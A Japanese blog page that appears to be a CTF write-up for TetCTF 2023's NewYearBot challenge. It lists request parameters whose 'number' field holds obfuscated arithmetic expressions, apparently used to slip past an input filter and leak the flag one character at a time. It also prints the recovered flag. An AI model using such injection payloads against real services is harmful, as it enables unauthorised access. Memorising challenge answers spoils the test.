type=FL4G&number=1 #1 e
type=FL4G&number=2 #2 t
type=FL4G&number=3 #3 C
type=FL4G&number=4 #4 T
type=FL4G&number=5 #5 F
type=FL4G&number=-~0**0*3 #6 {
type=FL4G&number=~(~0**0*4) #7 J
type=FL4G&number=-~0**0*4 #8 u
type=FL4G&number=~(~0**0*5) #9 S
type=FL4G&number=-~0**0*5 #10 t
type=FL4G&number=0**0-~0**0*5 #11 _
type=FL4G&number=~0**0*~0**0*3 #12 F
type=FL4G&number=-(-~0-~0**0*5) #-11=13 0
type=FL4G&number=~0**0*5 #-10=14 r
type=FL4G&number=-~(~0**0*5) #-9=15 F
type=FL4G&number=~0**0*4 #-8=16 u
type=FL4G&number=-~(~0**0*4) #-7=17 n
type=FL4G&number=~0**0*3 #-6=18 n
type=FL4G&number=-5 #-5=19 (
type=FL4G&number=-4 #-4=20 ^
type=FL4G&number=-3 #-3=21 _
type=FL4G&number=-2 #-2=22 ^
type=FL4G&number=-1 #-1=23 }
フラグは、
TetCTF{JuSt_F0rFunn(^_^}

記事検索
ギャラリー
  • TetCTF 2023 NewYearBot
  • UUT CTF writeup Find The Password
  • UUT CTF writeup The Puzzle
  • Hack Zone Tunisia 2019 writeup Microscope
  • Hack Zone Tunisia 2019 writeup Welcome
  • SwampCTF 2019 writeup Brokerboard
  • SwampCTF 2019 writeup Leap of Faith
  • SwampCTF 2019 writeup Last Transmission
  • CBM CTF 2019 writeup Long road
カテゴリー